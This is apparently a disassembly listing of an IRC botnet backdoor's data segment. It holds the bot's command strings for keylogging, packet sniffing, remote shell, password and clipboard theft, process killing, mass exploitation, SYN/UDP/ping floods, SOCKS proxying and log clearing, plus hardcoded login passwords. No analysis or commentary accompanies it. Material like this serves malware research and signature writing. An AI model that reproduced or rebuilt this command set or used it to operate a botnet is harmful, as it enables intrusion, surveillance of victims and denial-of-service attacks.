		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 4
; char unk_43695C
unk_43695C	db    2			; DATA XREF: sub_40EE51+1F52o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_43698C	db    2			; DATA XREF: sub_40EE51+1ED4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
; char unk_4369BC
unk_4369BC	db    2			; DATA XREF: sub_40EE51:loc_410D01o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_4369F8	db    2			; DATA XREF: sub_40EE51+1EA6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
; char aCom_keylog[]
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE51+1E4Co
		align 10h
unk_436A50	db    2			; DATA XREF: sub_40EE51:loc_410C93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_436A88	db    2			; DATA XREF: sub_40EE51+1E38o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
; char aOff[]
aOff		db 'off',0              ; DATA XREF: sub_40EE51+1E15o
					; sub_40EE51+1E83o
unk_436AD4	db    2			; DATA XREF: sub_40EE51+1E0Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 10h
; char unk_436B20
unk_436B20	db    2			; DATA XREF: sub_40EE51+1D9Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_436B60	db    2			; DATA XREF: sub_40EE51+1D37o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 10h
; char aOn[]
aOn		db 'on',0               ; DATA XREF: sub_40EE51+1D17o
					; sub_40EE51+1E61o
		align 4
; char aSniff[]
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE51+1D02o
		align 4
; char aCom_rf[]
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE51+1CEBo
		align 4
; char aCom_readfile[]
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE51+1CD4o
		align 4
; char aCom_cm[]
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE51+1CBDo
		align 4
; char aCom_cmd[]
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE51+1CA6o
; char aMirc_cmd[]
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE51+1C78o
					; sub_40EE51+1C8Fo
		align 10h
; char aIrc_v[]
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE51+1C61o
		align 4
; char aIrc_visit[]
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE51+1C4Ao
		align 4
; char aCom_fl[]
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE51+1C33o
		align 4
; char aCom_filelist[]
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE51+1C1Co
		align 4
; char aDcc_gt[]
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE51+1C05o
		align 4
; char aDcc_get[]
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE51+1BEEo
; char aCom_del[]
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE51+1BD7o
; char aCom_delete[]
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE51+1BC0o
		align 10h
; char aCom_pkid[]
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE51+1BA9o
		align 4
; char aCom_prockillid[]
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE51+1B92o
		align 4
; char aCom_kpn[]
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE51+1B7Bo
; char aCom_killprocna[]
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE51+1B64o
		align 4
; char aIrc_dn[]
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE51+1B4Do
		align 10h
; char aIrc_dns[]
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE51+1B36o
; char aIrc_se[]
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE51+1B1Fo
		align 10h
; char aIrc_setserve[]
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE51+1B08o
		align 10h
; char aCom_o[]
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE51+1AF1o
		align 4
; char aCom_open[]
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE51+1ADAo
		align 4
; char aIrc_pr[]
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE51+1AC3o
		align 4
; char aIrc_prefix[]
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE51+1AACo
		align 4
; char aClone_rn[]
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE51+1A95o
		align 4
; char aClone_rndnick[]
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE51+1A7Eo
		align 4
; char aClone_q[]
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE51+1A67o
; char aClone_quit[]
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE51+1A50o
		align 4
; char aThreads_k[]
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE51+1A39o
		align 4
; char aThreads_kill[]
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE51+1A22o
		align 4
; char aIrc_ra[]
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE51+1A0Bo
		align 4
; char aIrc_raw[]
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE51+19F4o
; char aBara[]
aBara		db 'bara',0             ; DATA XREF: sub_40EE51+19C6o
					; sub_40EE51+19DDo
		align 4
; char aDsho[]
aDsho		db 'dsho',0             ; DATA XREF: sub_40EE51+1998o
					; sub_40EE51+19AFo
		align 4
; char aIrc_n[]
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE51+1981o
		align 4
; char aIrc_nick[]
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE51+196Ao
		align 4
; char aRoot_mass[]
aRoot_mass	db 'root.mass',0        ; DATA XREF: sub_40EE51+1944o
		align 4
; char aRoot_massexplo[]
aRoot_massexplo	db 'root.massexploit',0 ; DATA XREF: sub_40EE51+192Fo
		align 4
; char aCom_fp[]
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE51+191Ao
		align 10h
; char aCom_findpass[]
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE51+1905o
		align 10h
; char aDaemon_tf_on[]
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE51+18F0o
		align 10h
; char aDaemon_tftp_on[]
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE51+18DBo
		align 10h
; char aDaemon_web_on[]
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE51+18C6o
		align 10h
; char aDaemon_httpd_o[]
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE51+18B1o
; char aDaemon_rl_on[]
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE51+189Co
		align 10h
; char aDaemon_rlogi_0[]
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE51+1887o
		align 4
; char aRoot_cip[]
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE51+1872o
		align 10h
; char aRoot_currentip[]
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE51+185Do
		align 10h
; char aUtil_fdns[]
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE51+1848o
		align 4
; char aUtil_flushdns[]
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE51+1833o
		align 4
; char aUtil_farp[]
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE51+181Eo
		align 4
; char aUtil_flusharp[]
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE51+1809o
		align 4
; char aCom_gc[]
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE51+17F4o
		align 10h
; char aCom_getclip[]
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE51+17DFo
dword_436E2C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+17CEo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
; char aD_S[]
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE51+179Ao
					; sub_416E05+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE51+178Do
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE51+176Bo
		align 4
; char aIrc_who[]
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE51+1752o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE51+1747o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE51+1742o
		align 4
; char aCom_ocmd_off[]
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE51+1729o
		align 4
; char aCom_ocmd[]
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE51+1714o
		align 4
; char aCom_opencmd[]
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE51+16FFo
; char aCom_dll[]
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE51+16EAo
; char aCom_testdlls[]
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE51+16D5o
		align 4
; char aCom_drv[]
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE51+16C0o
; char aCom_driveinfo[]
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE51+16ABo
		align 4
; char aCom_up[]
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE51+1696o
		align 4
; char aCom_uptime[]
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE51+1681o
		align 4
; char aCom_key[]
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE51+166Co
; char aCom_harvest[]
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE51+1657o
; char aCom_ps[]
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE51+1642o
		align 4
; char aCom_procs[]
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE51+162Do
		align 10h
; char aC00lm4n[]
aC00lm4n	db 'c00lm4n',0          ; DATA XREF: sub_40EE51+1603o
					; sub_40EE51+1618o
; char aCom_si[]
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE51+15EEo
		align 10h
; char aCom_sysinfo[]
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE51+15D9o
unk_436F4C	db    2			; DATA XREF: sub_40EE51+15CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
; char unk_436F98
unk_436F98	db    2			; DATA XREF: sub_40EE51+155Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
; char aDdos_supersyn[]
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE51+14C9o
		align 4
; char aCom_ni[]
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE51+14B4o
		align 10h
; char aCom_netinfo[]
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE51+149Fo
; char aUtil_clg[]
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE51+148Ao
		align 4
; char aUtil_clearlog[]
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE51+1475o
		align 4
; char aIrc_lg[]
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE51+1460o
		align 10h
; char aIrc_log[]
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE51+144Bo
; char aIrc_al[]
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE51+1436o
		align 10h
; char aIrc_aliases[]
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE51+1421o
; char aThreads_l[]
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE51+140Co
		align 4
; char aThreads_list[]
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE51+13F7o
		align 4
dword_437058	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+13C3o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
; char dword_43708C
dword_43708C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+13BCo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
; char aCom_rebewt[]
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE51+13A5o
		align 4
; char aIrc_i[]
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE51+1390o
		align 4
; char aIrc_id[]
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE51+137Bo
		align 4
; char aIrc_s[]
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE51+1366o
		align 4
; char aIrc_status[]
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE51+1351o
		align 4
; char aIrc_q[]
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE51+133Co
		align 10h
; char aIrc_quit[]
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE51+1327o
		align 4
; char aIrc_d[]
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE51+1312o
		align 4
; char aIrc_disconnect[]
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE51+12FDo
		align 4
; char aIrc_r[]
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE51+12E8o
		align 4
; char aIrc_reconnect[]
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE51+12D3o
		align 4
; char aRoot_st[]
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE51+12BEo
; char aRoot_stats[]
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE51+12A9o
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE51+129Eo
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40EE51+1299o
		align 4
; char aRoot_stop[]
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE51+1280o
		align 4
dword_437164	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE51+1275o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE51+1270o
		align 4
; char aLockdown_stop[]
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE51+1257o
		align 4
dword_43718C	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE51+124Co
aClone		db 'Clone',0            ; DATA XREF: sub_40EE51+1247o
		align 4
; char aClone_off[]
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE51+122Eo
		align 10h
; char aCom_ps_off[]
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE51+1219o
		align 4
; char aCom_procs_off[]
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE51+1204o
		align 4
; char aUtil_ff_off[]
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE51+11EFo
; char aUtil_findfile_[]
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE51+11DAo
		align 4
dword_4371EC	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE51+11CFo
; char aDaemon_tftp_of[]
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE51+11B1o
dword_437208	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE51+11A6o
dword_437214	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE51+11A1o
; char aDdos_ping_off[]
aDdos_ping_off	db 'ddos.ping.off',0    ; DATA XREF: sub_40EE51+1188o
		align 10h
dword_437230	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE51+117Do
dword_43723C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE51+1178o
; char aDdos_udp_off[]
aDdos_udp_off	db 'ddos.udp.off',0     ; DATA XREF: sub_40EE51+115Fo
		align 4
dword_437258	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE51+1154o
dword_437264	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE51+114Fo
; char aDdos_syn_off[]
aDdos_syn_off	db 'ddos.syn.off',0     ; DATA XREF: sub_40EE51+1136o
		align 10h
dword_437280	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE51+112Bo
dword_43728C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE51+1126o
; char aDdos_off[]
aDdos_off	db 'ddos.off',0         ; DATA XREF: sub_40EE51+110Do
		align 4
dword_4372A4	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE51+1102o
dword_4372B4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE51+10FDo
; char aProxy_redirect[]
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE51+10E4o
		align 4
dword_4372D8	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE51+10D9o
dword_4372E4	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE51+10D4o
; char aLog_off[]
aLog_off	db 'log.off',0          ; DATA XREF: sub_40EE51+10BBo
dword_4372F8	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE51+10B3o
; char aDaemon_web_off[]
aDaemon_web_off	db 'daemon.web.off',0   ; DATA XREF: sub_40EE51+1095o
		align 4
dword_437314	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE51+108Do
; char aDaemon_rlogin_[]
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE51+106Fo
		align 4
dword_437338	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE51+104Do
aServer_0	db 'Server',0           ; DATA XREF: sub_40EE51+1048o
					; sub_40EE51+1088o ...
		align 10h
; char aProxy_socks4_0[]
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE51+102Fo
		align 4
; char aProxy_s4_on[]
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE51+101Ao
; char aProxy_socks4_o[]
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE51+1005o
; char aLd_off[]
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE51+FF0o
		align 4
; char aLockdown_off[]
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE51+FDBo
		align 4
; char aLd_on[]
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE51+FC6o
		align 10h
; char aLockdown_on[]
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE51+FB1o
; char aVer[]
aVer		db 'ver',0              ; DATA XREF: sub_40EE51+F9Co
; char aIrc_version[]
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE51+F87o
; char aLo[]
aLo		db 'lo',0               ; DATA XREF: sub_40EE51+F72o
		align 10h
; char aIrc_logout[]
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE51+F5Do
		align 4
; char aIrc_di[]
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE51+F48o
		align 4
; char aIrc_die[]
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE51+F33o
; char aRn[]
aRn		db 'rn',0               ; DATA XREF: sub_40EE51+F1Eo
		align 10h
; char aIrc_rndnick[]
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE51+F06o
; char a63[]
a63		db '63',0               ; DATA XREF: sub_40EE51+DDFo
		align 10h
; char asc_4373F0[]
asc_4373F0	db ')',0                ; DATA XREF: sub_40EE51+DB7o
		align 4
; char aChr[]
aChr		db '$chr(',0            ; DATA XREF: sub_40EE51+D7Ao
		align 4
; char aServer_1[]
aServer_1	db '$server',0          ; DATA XREF: sub_40EE51+D6Fo
; char aRndnick[]
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE51+D5Eo
		align 10h
; char aChan[]
aChan		db '$chan',0            ; DATA XREF: sub_40EE51+D42o
		align 4
; char aUser_2[]
aUser_2		db '$user',0            ; DATA XREF: sub_40EE51+D31o
		align 10h
; char aMe_0[]
aMe_0		db '$me',0              ; DATA XREF: sub_40EE51+D1Fo
; char aD_0[]
aD_0		db '$%d',0              ; DATA XREF: sub_40EE51+CB1o
; char aD[]
aD		db '$%d-',0             ; DATA XREF: sub_40EE51+BF6o
		align 10h
; char aS1gn1n[]
aS1gn1n		db 's1gn1n',0           ; DATA XREF: sub_40EE51+B0Ao
		align 4
; char dword_437438
dword_437438	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+AD5o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_437478	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+AC7o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_4374B8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+AB9o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
; char dword_4374FC
dword_4374FC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+A4Ao
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
; char aChat[]
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE51+9B3o
		align 4
; char dword_437534
dword_437534	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+996o
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_437584	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+978o
					; sub_40EE51+4AAEo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_4375CC	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE51+967o
		dd 0A0Dh
; char dword_4375E4
dword_4375E4	dd 4E495001h, 47h	; DATA XREF: sub_40EE51+933o
; char aSHasJustVersio[]
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE51+8EDo
		align 4
; char dword_437608[]
dword_437608	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE51+8D3o
		dd 0D017325h, 0Ah
; char dword_437624
dword_437624	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE51+8A2o
; char dword_437630
dword_437630	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+788o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
; char aSend_0[]
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE51+6E5o
		align 4
; char dword_437674
dword_437674	dd 43434401h, 0		; DATA XREF: sub_40EE51+6C7o
; char a332[]
a332		db '332',0              ; DATA XREF: sub_40EE51+64Eo
					; sub_40EE51+B40o ...
; char dword_437680
dword_437680	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5CFo
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 10h
; char dword_4376B0[]
dword_4376B0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5A8o
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 10h
; char a353[]
a353		db '353',0              ; DATA XREF: sub_40EE51+571o
; char aPart[]
aPart		db 'PART',0             ; DATA XREF: sub_40EE51+523o
					; sub_40EE51+5ECo
		align 4
; char aSS_1[]
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40EE51+4FBo
		align 4
; char aNick[]
aNick		db 'NICK',0             ; DATA XREF: sub_40EE51+3CDo
		align 4
; char aNoticeSS[]
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+36Eo
					; sub_40EE51+610o
; char dword_43770C
dword_43770C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+355o
					; sub_40EE51+600Fo ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
; char aKick[]
aKick		db 'KICK',0             ; DATA XREF: sub_40EE51+2E4o
		align 4
; char aNickS[]
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE51+28Do
					; sub_40EE51+4EA3o ...
		align 10h
; char a433[]
a433		db '433',0              ; DATA XREF: sub_40EE51+265o
; char a[]
a@:					; DATA XREF: sub_40EE51+23Ao
		unicode	0, <@>,0
; char a302[]
